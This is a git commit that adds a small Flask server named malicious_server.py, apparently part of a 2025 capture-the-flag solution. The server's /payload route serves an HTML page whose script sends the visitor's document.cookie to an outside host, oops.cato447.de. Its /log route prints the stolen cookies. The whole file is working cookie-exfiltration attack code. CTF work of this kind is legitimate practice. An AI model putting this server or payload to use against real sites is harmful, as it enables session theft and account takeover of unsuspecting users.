changed repo structure
This commit is contained in:
23
2025/catthegrey/ezpz/dist-oops/malicious_server.py
Normal file
23
2025/catthegrey/ezpz/dist-oops/malicious_server.py
Normal file
@@ -0,0 +1,23 @@
|
||||
from flask import Flask, request
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/log")
|
||||
def log():
|
||||
print(request.args.get("c"))
|
||||
return "", 204
|
||||
|
||||
@app.route("/payload")
|
||||
def payload():
|
||||
print("Sending payload")
|
||||
return """<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
new Image().src = 'http://oops.cato447.de/log?c=' + document.cookie;
|
||||
</script>
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
app.run(host="0.0.0.0", port=8025)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user